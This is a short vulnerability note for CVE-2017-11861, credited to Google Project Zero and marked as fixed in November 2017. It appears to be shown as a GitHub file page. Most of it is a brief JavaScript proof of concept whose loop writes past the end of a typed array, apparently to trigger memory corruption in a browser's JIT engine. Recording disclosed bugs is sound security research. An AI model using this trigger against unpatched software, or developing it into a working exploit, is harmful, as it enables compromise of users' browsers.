Skip to content

Latest commit

 

History

History
23 lines (17 loc) · 535 Bytes

CVE-2017-11861.md

File metadata and controls

23 lines (17 loc) · 535 Bytes

CVE-2017-11861

  • Fix: Nov 2017
  • Credit: lokihardt of Google Project Zero

PoC

function f() {
    let arr = new Uint32Array(0x1000);
    for (let i = 0; i < 0x7fffffff;) {
        arr[++i] = 0x1234;
    }
}

f();

Reference